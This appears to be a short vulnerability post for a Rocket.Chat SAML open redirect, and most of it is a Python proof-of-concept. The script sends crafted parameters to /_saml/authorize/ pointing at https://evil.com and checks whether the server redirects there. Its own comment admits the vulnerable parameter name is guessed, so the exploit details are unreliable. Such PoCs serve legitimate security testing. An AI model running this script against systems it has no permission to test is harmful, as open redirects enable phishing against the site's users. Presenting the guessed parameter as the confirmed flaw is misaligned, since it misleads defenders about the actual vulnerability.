An open redirect vulnerability in Rocket.Chat versions prior to 8.4.0 allows users to be redirected to arbitrary URLs by manipulating parameters within a SAML endpoint.
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-22560 Rocket.Chat Open Redirect
import requests
def check_vulnerability(target_base_url):
# The SAML endpoint vulnerable to open redirect
endpoint = "/_saml/authorize/"
# Malicious destination to test redirection
malicious_site = "https://evil.com"
# Construct payload with the vulnerable parameter
# Note: Parameter name 'redirect_to' is indicative based on SAML flows
params = {
"client_id": "random_client_id",
"redirect_to": malicious_site,
"response_type": "code"
}
full_url = target_base_url + endpoint
try:
# Send request, do not follow redirects to catch the Location header
response = requests.get(full_url, params=params, allow_redirects=False, timeout=10)
if response.status_code == 302:
location = response.headers.get('Location')
if location and malicious_site in location:
print(f"[+] Vulnerability Confirmed! Redirecting to: {location}")
return True
else:
print(f"[-] Redirected, but not to target. Location: {location}")
else:
print(f"[-] Status code: {response.status_code}")
except Exception as e:
print(f"[!] Error occurred: {e}")
return False
if __name__ == "__main__":
target = "http://localhost:3000" # Replace with actual target
check_vulnerability(target)